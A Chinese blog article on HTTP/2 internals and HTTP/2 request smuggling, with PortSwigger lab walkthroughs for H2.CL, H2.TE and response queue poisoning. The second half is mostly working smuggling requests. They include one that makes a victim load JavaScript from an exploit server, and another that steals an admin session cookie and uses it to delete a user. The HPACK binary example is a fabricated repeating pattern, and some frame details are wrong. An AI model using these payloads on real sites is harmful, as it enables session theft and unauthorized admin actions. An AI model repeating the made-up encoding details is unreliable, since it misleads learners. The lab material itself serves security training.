协议介绍
HTTP/2是HTTP协议自1999年HTTP 1.1发布后的首个更新,它由互联网工程任务组(IETF)的Hypertext Transfer Protocol Bis(httpbis)工作小组进行开发,该组织于2014年12月将HTTP/2标准提议递交至IESG进行讨论并于2015年2月17日被批准,目前多数主流浏览器已经在2015年底支持了该协议,此外根据W3Techs的统计数据表示自2017年5月,在排名前一千万的网站中有13.7%支持了HTTP/2,本篇文章我们将主要对HTTP/2协议的新特性以及HTTP/2中的请求走私进行详细介绍
协议特性
头部压缩
HTTP/1中通过使用头字段Content-Encoding来指定Body的编码方式,比如:使用gzip压缩来节约带宽,但报文的另一个组成部分——Header却被无视了,没有针对它的优化手段,由于报文Header一般会携带User Agent、Cookie、Accept等许多固定的头字段,有时候可能会多达几百字节甚至上千字节,Body有时候却仅仅只有几十字节,更重要的一个点是在成千上万的请求响应报文里有很多字段值都是重复的,对于带宽而言是非常浪费的,于是HTTP/2把头部压缩作为性能改进的一个重点
在HTTP/2使用了一种称为HPACK的头部压缩算法,通过编码和解码首部字段实现了有效的压缩和解压缩机制,其基本原理是客户端和服务器在首次建立连接时通过交换首部字段表(Header Table)来建立共享的静态和动态表,静态表包含了一组预定义的静态首部字段,而动态表则用于存储动态变化的首部字段,HPACK压缩算法使用了两种编码方式:静态编码(Static Encoding)和动态编码(Dynamic Encoding),静态编码通过在静态表中查找匹配的静态首部字段并使用预定义的索引号进行编码,例如:\\”content-length:100\\”可以用索引号6进行编码而不需要传输完整的字符串,动态编码则是将首部字段添加到动态表中并根据新的上下文来更新表的内容,动态编码通过使用索引号、字面量编码和哈夫曼编码来进行首部字段的编码
下面是一个示例,说明HPACK压缩算法如何对首部字段进行编码,原始的字段如下:
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
HPACK压缩算法编码后的二进制表示:
11000000 01001010 11111111 10000011 10000001 11111111 10000001 11111111
10000001 11111000 11011111 11010000 01110100 00101111 00000000 00000100
00111111 10100001 01000011 11000001 00001011 11000100 00001011 11000101
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001 00001011 11000001 00001011
11000001 00001011 11000001 00001011 11000001
在上面的示例展示了原始的两个首部字段,其中包括\\”Host\\”和\\”User-Agent\\”,通过HPACK压缩算法编码后的二进制表示占用了更少的空间并且可以在HTTP/2中进行传输,上述示例中的二进制表示是为了说明HPACK压缩算法的工作原理,实际传输时会使用更高级的编码形式,例如:哈夫曼编码,HTTP/2的头部压缩可以显著减少传输的开销并提高网络性能和效率,通过减小首部字段的大小可以节省带宽和减少延迟,从而提供更快的网页加载速度和更好的用户体验
二进制传输
HTTP/2所有性能增强的核心是新的二进制成帧层,它规定了HTTP消息如何在客户机和服务器之间封装和传输,从下图可以看出HTTP1.1是明文文本,而HTTP2.0首部(HEADERS)和数据消息主体(DATA)都是帧(frame),frame是HTTP2协议中最小数据传输单元
新的二进制成帧机制的引入改变了客户端和服务器之间的数据交换方式,为了描述这个过程,让我们熟悉一下HTTP/2术语:
-
Stream(流):已建立的连接中的双向字节流,可以携带一条或多条消息
-
Message(消息):映射到逻辑请求或响应消息的完整帧序列
-
Frame(帧):帧是HTTP/2中最小的通信单元,每个单元包含一个帧头,它至少标识该帧所属的流,所有通信都是通过一个TCP连接进行的,该连接可以承载任意数量的双向流,而每个流都有一个唯一的标识符和可选的优先级信息,用于承载双向消息,每个消息都是一个逻辑HTTP消息,例如:请求或响应,由一个或多个帧组成,帧是携带特定类型数据(例如:HTTP报头、消息负载等)的最小通信单元,来自不同流的帧可以被交织,然后经由每个帧的报头中嵌入的流标识符被重组
简而言之,HTTP/2将HTTP协议通信分解为二进制编码帧的交换,然后将这些帧映射到属于特定流的消息,所有这些帧都在单个TCP连接中多路复用,这是实现HTTP/2协议提供的所有其他特性和性能优化的基础
多路复用技术
在HTTP/1.x中如果客户端要进行多个并行请求来提高性能,那么必须使用多个TCP连接,这种行为是HTTP/1.x传递模型的直接结果,它确保每个连接一次只能传递一个响应(响应队列),而且这还会导致行首阻塞和底层TCP连接的低效使用,HTTP/2中新的二进制成帧层消除了这些限制,通过允许客户机和服务器将一个HTTP消息分解成独立的帧并交错它们,然后在另一端重新组合它们实现了完全的请求和响应多路复用
上图中的快照捕获了同一个连接中正在传输的多个流,客户端正在向服务器传输一个数据帧(stream 5),而服务器正在向客户端传输stream 1和stream 3的交错帧序列,而呈现的结果则是有三股平行流在飞行,通过将HTTP消息分解成独立的帧交织它们,然后在另一端重新组合它们的能力是HTTP/2最重要的增强,事实上它在所有Web技术的整个堆栈中引入了众多性能优势的连锁反应,使我们能够:
-
并行交错多个请求,不阻塞任何一个请求
-
并行交错多个响应,不阻塞任何一个响应
-
使用单个连接并行传递多个请求和响应
-
删除不必要的HTTP/1.x解决方法,例如:连接文件、图像精灵和域分片
-
消除不必要的延迟和提高可用网络容量的利用率,缩短页面加载时间
帧格式类
HTTP/2帧通用格式如下,其中帧头为固定的9个字节(24+8+8+1+31)/8=9呈现,变化的为帧的负载(payload),负载内容是由帧类型(Type)定义:
+-----------------------------------------------+
| Length (24) |
+---------------+---------------+---------------+
| Type (8) | Flags (8) |
+-+-------------+---------------+-------------------------------+
|R| Stream Identifier (31) |
+=+=============================================================+
| Frame Payload (0...) |
+---------------------------------------------------------------+
字段解释如下:
-
Length:帧长度,无符号的自然数,仅表示帧负载所占用字节数,不包括帧头所占用的9个字节,默认大小区间为为0~16,384(2^14),超过默认最大值2^14(16384),发送方将不再允许发送,除非接收到接收方定义的SETTINGS_MAX_FRAME_SIZE(一般此值区间为2^14 ~ 2^24)值的通知
-
Type:帧类型,定义了帧负载的具体格式和帧的语义,HTTP/2规范定义了10个帧类型
-
Flags:帧的标志位,8个比特表示,服务于具体帧类型,默认值为0x0
-
R:帧保留比特位,在HTTP/2语境下为保留的比特位,固定值为0X0
-
Stream Identifier:流标识符,无符号的31比特表示无符号自然数,0x0值表示为帧仅作用于连接,不隶属于单独的流
下面我们对HTTP/2的十种帧类型做一个简单的介绍:
(1) 数据帧(DATA Frame)
HTTP/2的数据帧(DATA Frame)用于传输HTTP请求或响应的实际数据,它是HTTP/2协议中最常用的帧类型之一,下面的示例中我们展示了一个HTTP/2的数据帧,它的长度字段为10,表示数据帧的有效载荷长度为10字节,类型字段为0,表示这是一个数据帧,标志位字段为0,无特殊标志,流标识符为1,表示该数据帧属于ID为1的流,数据负载为\\”Hello, HTTP/2!\\”,即实际的请求或响应数据
+-----------------------------------------------+
| Length (24) = 10 |
+---------------+---------------+---------------+
| Type (8) = 0 | Flags (8) = 0|
+-+-------------+---------------+-------------------------------+
|R| Stream Identifier (31) = 1 |
+-+-------------------------------------------------------------+
| Data Payload = \\\"Hello, HTTP/2!\\\" |
+---------------------------------------------------------------+
(2) 头部帧(HEADE Frame)
HTTP/2的头部帧(HEADERS Frame)用于传输HTTP请求或响应的头部信息,它包含了请求方法、URL、状态码、请求头、响应头等关键信息,下面我们展示了一个HTTP/2的头部帧,它的长度字段为24,表示头部帧的有效载荷长度为24字节,类型字段为1,表示这是一个头部帧,标志位字段为0,无特殊标志,流标识符为1,表示该头部帧属于ID为1的流,头部信息为\\”GET /index.html\\”,即请求的方法为GET,URL为/index.html
+-----------------------------------------------+
| Length (24) = 24 |
+---------------+---------------+---------------+
| Type (8) = 1 | Flags (8) = 0|
+-+-------------+---------------+-------------------------------+
|R| Stream Identifier (31) = 1 |
+-+-------------------------------------------------------------+
| Headers Block Fragment = \\\"GET /index.html\\\" |
| ... |
+---------------------------------------------------------------+
(3) 优先级帧(PRIORITY Frame)
HTTP/2的优先级帧(PRIORITY Frame)用于指定请求或响应的优先级顺序,它允许客户端或服务器对请求或响应进行优先级排序以便更有效地处理并分配资源,在下面的示例中我们展示了一个HTTP/2的优先级帧,它的长度字段为5,表示优先级帧的有效载荷长度为5字节,类型字段为2,表示这是一个优先级帧,标志位字段为0,无特殊标志,流标识符为1,表示该优先级帧属于ID为1的流,Exclusive字段为0,表示当前流的依赖关系为共享依赖,Stream Dependency字段为3,表示当前流依赖于ID为3的流,权重字段为16,表示当前流的权重为16
+---------------------------------------------------------------+
| Length (24) = 5 |
+---------------+----------------------+------------------------+
| Type (8) = 2 | Flags (8) = 0 |
+-+-------------+---------------+-------------------------------+
|R| Stream Identifier (31) = 1 |
+-+-------------------------------------------------------------+
| Exclusive (1) = 0 | Stream Dependency (31) = 3 |
+-+-------------------------------------------------------------+
| Weight (8) = 16 |
+-+-------------------------------------------------------------+
(4) 重置帧(RST_STREAM)
HTTP/2的重置帧(RST_STREAM Frame)用于向对方发送信号,即终止或重置指定的流,它用于在发生错误或不再需要继续处理某个流时主动关闭或取消该流,下面是HTTP/2重置帧的详细格式和示例,它的长度字段为4,表示重置帧的有效载荷长度为4字节,类型字段为3,表示这是一个重置帧,标志位字段为0,无特殊标志,流标识符为1,表示该重置帧属于ID为1的流,错误码字段为PROTOCOL_ERROR,表示出现了协议错误,需要终止或重置该流
+--------------------------------------------------------------+
| Length (24) = 4 |
+---------------------+------------------+---------------------+
| Type (8) = 3 | Flags (8) = 0 |
+-+-------------+---------------+------------------------------+
|R| Stream Identifier (31) = 1 |
+-+------------------------------------------------------------+
| Error Code (32) = PROTOCOL_ERROR |
+--------------------------------------------------------------+
(5) 设置帧(SETTINGS Frame)
HTTP/2的设置帧(SETTINGS Frame)用于在客户端和服务器之间交换配置参数,这些参数可以影响HTTP/2协议的行为,例如:流的并发数限制、流的优先级设置、流的最大帧大小等,在下面的示例中我们展示了一个HTTP/2的设置帧,它的长度字段为6,表示设置帧的有效载荷长度为6字节,类型字段为4,表示这是一个设置帧,标志位字段为0,无特殊标志,流标识符为0,表示该设置帧不与特定的请求或响应相关联,标识符字段为MAX_CONCURRENT_STREAMS,表示设置最大并发流数的参数,值字段为100,表示将最大并发流数设置为100
+---------------------------------------------------------------+
| Length (24) = 6 |
+-------------------+-------------------+-----------------------+
| Type (8) = 4 | Flags (8) = 0 |
+-+-------------+---------------+-------------------------------+
|R| Stream Identifier (31) = 0 |
+-+-------------------------------------------------------------+
| Identifier (16) = MAX_CONCURRENT_STREAMS |
+---------------------------------------------------------------+
| Value (32) = 100 |
+---------------------------------------------------------------+
(6) 推送帧(PUSH_PROMISE Frame)
HTTP/2中的PUSH_PROMISE帧用于服务器向客户端发起推送,即在客户端请求之前服务器可以预先推送相关资源给客户端,下面是HTTP/2的PUSH_PROMISE示例,此HTTP/2的PUSH_PROMISE帧的长度字段为12,表示帧的有效载荷长度为12字节,类型字段为0x5,表示这是一个PUSH_PROMISE帧,标志位字段为0,无特殊标志。流标识符为1,表示发起PUSH_PROMISE帧的流的标识符,推送的资源关联的流的标识符为2,Header Block Fragment字段表示压缩后的头部块数据,其中包含了将要推送的资源的相关信息
+------------------------------------------------------------------+
| Length (24) = 12 |
+------------------+---------------------+-------------------------+
| Type (8) = 0x5 | Flags (8) = 0 |
+-+-------------+---------------+----------------------------------+
|R| Stream Identifier (31) = 1 |
+-+----------------------------------------------------------------+
| Promised Stream ID (31) = 2 |
+-+----------------------------------------------------------------+
| Header Block Fragment (*) = Compressed header data |
+------------------------------------------------------------------+
(7) 窗口调整帧(WINDOW_UPDATE)
HTTP/2中的WINDOW_UPDATE帧用于通知对端调整流或连接的窗口大小以控制流量控制和流的处理速率,下面是HTTP/2的WINDOW_UPDATE帧示例,它的长度字段为4,表示帧的有效载荷长度为4字节,类型字段为0x8,表示这是一个WINDOW_UPDATE帧,标志位字段为0,无特殊标志,流标识符为1,表示受影响的流的标识符,窗口大小增量字段为1024,表示窗口大小增加1024个字节
+---------------------------------------------------------------+
| Length (24) = 4 |
+------------------+------------------+-------------------------+
| Type (8) = 0x8 | Flags (8) = 0 |
+------------+-------------+---------------+--------------------+
|R| Stream Identifier (31) = 1 |
+-+-------------------------------------------------------------+
| Window Size Increment (31) = 1024 |
+---------------------------------------------------------------+
(8) GOAWAY帧
HTTP/2中的GOAWAY帧用于在关闭连接之前通知对端不再接受新的流并提供关于连接关闭原因的信息,下面是HTTP/2的GOAWAY帧示例,它的长度字段为8,表示帧有效载荷长度为8字节,类型字段为0x7,表示这是一个GOAWAY帧,标志位字段为0,无特殊标志,流标识符为0,表示GOAWAY帧的流的标识符,最后一个流的标识符为3,表示服务器不再接受比流标识符为3更大的流,错误码字段为0x2,表示GOAWAY帧的错误码,具体的错误码可以表示不同的连接关闭原因
+---------------------------------------------------------------+
| Length (24) = 8 |
+--------------------+----------------------+-------------------+
| Type (8) = 0x7 | Flags (8) = 0 |
+-+-------------+---------------+-------------------------------+
|R| Stream Identifier (31) = 0 |
+-+-------------------------------------------------------------+
| Last-Stream Identifier (31) = 3 |
+-+-------------------------------------------------------------+
| Error Code (32) = 0x2 |
+---------------------------------------------------------------+
(9) PING帧
HTTP/2中的PING帧用于在发送端和接收端之间进行双向的心跳检测以确认连接的活跃性和延迟,下面是HTTP/2的PING帧的示例,它的长度字段为8,表示帧的有效载荷长度为8字节,类型字段为0x6,表示这是一个PING帧,标志位字段为0,无特殊标志,流标识符为0,表示PING帧的流的标识符必须为0,透明数据字段为0x1122334455667788,表示PING帧的数据
+---------------------------------------------------------------+
| Length (24) = 8 |
+---------------------+--------------------+--------------------+
| Type (8) = 0x6 | Flags (8) = 0 |
+-+-------------+---------------+-------------------------------+
|R| Stream Identifier (31) = 0 |
+-+-------------------------------------------------------------+
| Opaque Data (64) = 0x1122334455667788 |
+---------------------------------------------------------------+
(10) CONTINUATION
HTTP/2中的CONTINUATION帧用于将首部块(Header Block)拆分为多个帧进行传输,由于HTTP/2的首部压缩机制,首部块可能非常大,无法通过单个帧传输,CONTINUATION帧用于将首部块的后续部分发送到接收端,下面是HTTP/2的CONTINUATION帧的详细格式和示例,长度字段为10,表示帧的有效载荷长度为10字节,类型字段为0x9,表示这是一个CONTINUATION帧,标志位字段为0,无特殊标志,流标识符为1,表示CONTINUATION帧的流的标识符,Header Block Fragment字段表示首部块的片段
+---------------------------------------------------------------+
| Length (24) = 10 |
+--------------------+------------------+-----------------------+
| Type (8) = 0x9 | Flags (8) = 0 |
+-+-------------+---------------+-------------------------------+
|R| Stream Identifier (31) = 1 |
+-+-------------------------------------------------------------+
| Header Block Fragment (*) |
+---------------------------------------------------------------+
消息长度
在HTTP /1.1中的请求走私的利用都是基于Content-Length和Transfer-Encoding前后端解析的差异性和混淆产生的,而HTTP2是基于预定义的偏移量进行解析,消息长度几乎不可能产生歧义,这种机制被认为是固有的,可以避免请求走私,虽然在Burp中看不到这一点,但HTTP/2消息是作为一系列独立的\\”帧\\”通过网络发送的,每个帧前面都有一个显式长度字段,它告诉服务器要读入多少字节,因此请求的长度是其帧长度的总和,理论上只要网站端到端地使用HTTP/2,那么攻击者便没有机会引入请求走私所需的模糊性,然而由于HTTP/2降级的普遍但危险的实践,情况往往不是这样
协议降级
HTTP/2降级是使用HTTP/1语法重写HTTP/2请求以生成等效的HTTP/1请求的过程,Web服务器和反向代理经常这样做以便在与只使用HTTP/1的后端服务器通信时向客户端提供HTTP/2支持,这种做法是本文讨论的许多攻击的先决条件
在使用HTTP/1的后端发出响应时,前端服务器会反转这个过程来生成HTTP/2响应并将其返回给客户端,因为协议的每个版本从根本上来说只是表示相同信息的不同方式,HTTP/1消息中的每一项在HTTP/2中都有大致相同的内容,因此对于服务器来说在两种协议之间转换这些请求和响应相对简单,事实上这就是Burp能够使用HTTP/1语法在消息编辑器中显示HTTP/2消息的方式,HTTP/2降级非常普遍甚至是许多流行的反向代理服务的默认行为,在某些情况下甚至没有禁用它的选项
请求走私
H2.CL vulnerabilities
HTTP/2请求不必在请求报文头中明确指定它们的长度,在降级期间前端服务器通常会添加一个HTTP/1的Content-Length头,使用HTTP/2的内置长度机制来获取其值,有趣的是HTTP/2请求也可以包含自己的Content-Length,在这种情况下一些前端服务器会在结果HTTP/1请求中重用这个值,而此规范也规定了HTTP/2请求中的任何content-length头必须与使用内置机制计算的长度相匹配,但是在降级之前并不总是正确验证这一点,因此有可能通过插入误导性的Content-Length来走私请求,虽然前端将使用隐式的HTTP/2长度来确定请求的结束位置,但是HTTP/1后端必须引用从您注入的头中派生的Content-Length头,从而进行走私请求
如果我们以HTTP/2的格式发送如下请求:
:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
content-length 0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10
x=1
那么此时后端请求数据报文将如下:
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10
x=1GET / H
下面我们通过一个靶场进行演示介绍:
靶场地址:
https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-cl-request-smuggling
靶场介绍:此靶场容易受到请求走私的攻击,因为前端服务器会降低HTTP/2请求的级别,即使它们的长度不明确,要解决实验室问题,你需要执行请求走私攻击使受害者的浏览器从漏洞利用服务器加载并执行恶意JavaScript文件,调用alert(document.cookie),受害者用户每10秒访问主页一次
解题过程:
Step 1:访问上面的靶场链接地址,让后点击\\”ACCESS THELAB\\”进入靶场
Step 2:使用Burp suite抓包并尝试在HTTP/2请求的正文中添加Content-Length:0头的方式尝试走私前缀信息,需要注意的是在发送请求之前要将协议设置为HTTP/2
POST / HTTP/2
Host: 0aed00cf039321e185db1c3f00a80002.web-security-academy.net
Content-Length: 0
SMUGGLED
此时第二个请求都会收到一个404响应,由此可以确定我们已经让后端将走私的前缀附加到后续的请求
备注:在构造请求时需要在Burpsuite中禁用Update-CL,同时勾选Allow HTTP/2 ALPN override并且把协议改为HTTP2
Step 2:在Burp suite中发送\\”GET /resources\\”请求,此时可以看到会被重定向到https://0aed00cf039321e185db1c3f00a80002.web-security-academy.net/resources/
Step 3:随后尝试构造下面的请求来隐藏对任意的host的/resources请求
POST / HTTP/2
Host: 0aed00cf039321e185db1c3f00a80002.web-security-academy.net
Cookie: session=LPq3scqI6nFu4qD2LbowPurZhkiVCXtY
Content-Length: 0
GET /resources HTTP/1.1
Host: www.baidu.com
Content-Length: 6
x=1
Step 4:随后我们使用靶场提供的恶意服务器主机托管一个恶意JS文件
Step 5:随后修改之前的请求数据包去请求恶意服务器上的resouces文件
POST / HTTP/2
Host: 0aed00cf039321e185db1c3f00a80002.web-security-academy.net
Cookie: session=LPq3scqI6nFu4qD2LbowPurZhkiVCXtY
Content-Length: 0
GET /resources HTTP/1.1
Host: exploit-0ac2009903692136853e1b6701c3001b.exploit-server.net
Content-Length: 6
x=1
随后我们可以在恶意服务器端的日志中看到有来自目标靶机的请求记录:
Step 5:随后完成解题
H2.TE vulnerabilities
HTTP/2与Chunked transfer encoding不兼容,规范是建议在尝试插入的任何\\”transfer-encoding: chunked\\”头都应该被剥离或完全阻塞请求,如果前端服务器未能做到这一点并且随后降级了对支持分块编码的HTTP/1后端的请求,也将会导致请求走私攻击
如果我们以HTTP/2的格式发送如下请求:
:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
transfer-encoding chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar
那么此时后端请求数据报文将如下:
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar
队列中毒
基本介绍
响应队列中毒是一种请求走私攻击形式,它会导致前端服务器开始将来自后端的响应映射到错误的请求,实际上这意味着同一个前端/后端连接的所有用户都被持续地提供给其他人的响应,这一般是通过走私一个完整的请求来实现的,因此当前端服务器只期望一个响应时,从后端却得到两个响应,而队列一旦中毒,那么攻击者只需发出任意后续请求就可以捕获其他用户的响应,这些响应可能包含敏感的个人或业务数据,以及会话令牌等,从而导致i信息泄露或者间接性的使攻击者获取受害者账户的访问权限
利用要求
如果要想构造一个成功的响应队列中毒攻击,则必须满足以下要求:
-
前端服务器和后端服务器之间的TCP连接在多个请求/响应周期中重用
-
攻击者能够成功地发送一个完整的、独立的请求,该请求从后端服务器接收自己独特的响应
-
攻击不会导致任何一台服务器关闭TCP连接,服务器通常会在收到无效请求时关闭传入的连接,因为它们无法确定请求应该在哪里结束
中毒原理
请求走私攻击通常涉及走私部分请求,服务器将其作为前缀添加到连接中下一个请求的开始,需要注意的是被发送的请求的内容会影响最初攻击后的连接,如果您只是偷偷发送一个带有一些头的请求行,假设不久之后在连接上发送了另一个请求,那么后端最终仍然会看到两个完整的请求
如果您发送了一个包含主体的请求,连接上的下一个请求将被附加到被发送的请求的主体,这通常会产生副作用,即根据明显的Content-Length截断最终请求,此时后端实际上看到了三个请求,其中第三个\\”请求\\”只是一系列剩余的字节
前端(CL模式):
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked
0
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25
x=GET / HTTP/1.1
Host: vulnerable-website.com
后端(TE模式):
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked
0
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25
x=GET / HTTP/1.1
Host: vulnerable-website.com
如果我们简单的构造一下,通过一次发送两个请求,那么连接上的任何后续请求都将保持不变:
前端(CL模式):
POST / HTTP/1.1\\\\r\\\\n
Host: vulnerable-website.com\\\\r\\\\n
Content-Type: x-www-form-urlencoded\\\\r\\\\n
Content-Length: 61\\\\r\\\\n
Transfer-Encoding: chunked\\\\r\\\\n
\\\\r\\\\n
0\\\\r\\\\n
\\\\r\\\\n
GET /anything HTTP/1.1\\\\r\\\\n
Host: vulnerable-website.com\\\\r\\\\n
\\\\r\\\\n
GET / HTTP/1.1\\\\r\\\\n
Host: vulnerable-website.com\\\\r\\\\n
\\\\r\\\\n
后端(TE模式):
POST / HTTP/1.1\\\\r\\\\n
Host: vulnerable-website.com\\\\r\\\\n
Content-Type: x-www-form-urlencoded\\\\r\\\\n
Content-Length: 61\\\\r\\\\n
Transfer-Encoding: chunked\\\\r\\\\n
\\\\r\\\\n
0\\\\r\\\\n
\\\\r\\\\n
GET /anything HTTP/1.1\\\\r\\\\n
Host: vulnerable-website.com\\\\r\\\\n
\\\\r\\\\n
GET / HTTP/1.1\\\\r\\\\n
Host: vulnerable-website.com\\\\r\\\\n
当你偷运一个完整的请求时,前端服务器仍然认为它只转发了一个请求,而后端看到两个不同的请求并将相应地发送两个响应,前端将第一个响应正确地映射到初始的\\”包装器\\”请求并将其转发给客户端,因为没有其他请求等待响应,所以意外的第二个响应被保存在前端和后端之间的连接队列中,当前端接收到另一个请求时,它会像往常一样将其转发给后端,但是当发出响应时,它将发送队列中的第一个,即走私请求的剩余响应,由于来自后端的正确响应没有匹配的请求,每当一个新的请求通过相同的连接被转发到后端时,这个循环就会重复一次
响应队列中毒后攻击者就可以发送任意请求来捕获另一个用户的响应,当时此时的攻击者并不能控制接收到哪些响应,因为他们总是会收到队列中的下一个响应,即前一个用户请求的响应,在某些情况下这将十分鸡肋,然而攻击者可以通过使用Burp Intruder很容易地自动重新发出请求并快速获取针对不同用户的各种回复,其中至少有一些可能包含有用的数据,而只要前端/后端连接保持打开,那么攻击者就可以像这样持续性的窃取响应,连接关闭的确切时间因服务器而异,但一个常见的默认情况是在处理了100个请求后终止连接,一旦当前连接关闭,重新建立一个新连接也很简单
靶场演示
靶场地址:https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling
靶场介绍:本靶场容易受到请求走私的攻击,因为前端服务器会降级HTTP/2请求,即使它们的长度不明确,为了解决这个实验,你需要通过使用响应队列中毒进入位于/admin的管理面板来删除用户carlos,管理员用户大约每15秒登录一次,到后端的连接每10个请求就重置一次,所以如果进入此状态也不用担心——只需发送几个正常的请求就可以获得一个新的连接
演示过程:
Step 1:访问以上链接点击\\”ACCESS THELAB\\”进入靶场
Step 2:在BurpSuite中构造走私请求,尝试使用分块编码在HTTP/2请求体中隐藏任意前缀
POST / HTTP/2
Host: 0a7200bf0465414380e68aa700240081.web-security-academy.net
Transfer-Encoding: chunked
0
SMUGGLED
发送的第二个请求会收到一个404响应,由此可以确认我们已经让后端将后续请求附加到走私的前缀中去
Step 3:在Burp Repeater中构造以下请求将一个完整的请求走私到后端服务器,需要注意的是这两个请求中的路径都指向一个不存在的路径,这意味着请求将总是得到404响应,一旦我们成功毒化了响应队列,那么此时便更容易识别到成功捕获的其他用户的响应(非404响应)
POST / HTTP/2
Host: 0a7200bf0465414380e68aa700240081.web-security-academy.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: 0a7200bf0465414380e68aa700240081.web-security-academy.net
随后我们会捕获到包含管理员新的登录后会话cookie的302响应
HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=hTi7sNuudeR99YHcsm3l3xa3zKDAWqEB; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Step 4:随后我们直接访问复制会话cookie并使用它发送以下请求
GET /admin HTTP/2
Host: 0a7200bf0465414380e68aa700240081.web-security-academy.net
Cookie: session=hTi7sNuudeR99YHcsm3l3xa3zKDAWqEB
Step 5:从上面我们可以看到成功利用admin的会话进入到控制面板中去,随后我们继续使用获取到的会话进行用户的删除操作
GET /admin/delete?username=carlos HTTP/2
Host: 0a7200bf0465414380e68aa700240081.web-security-academy.net
Cookie: session=hTi7sNuudeR99YHcsm3l3xa3zKDAWqEB
Step 6:随后完成解题:
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34271.html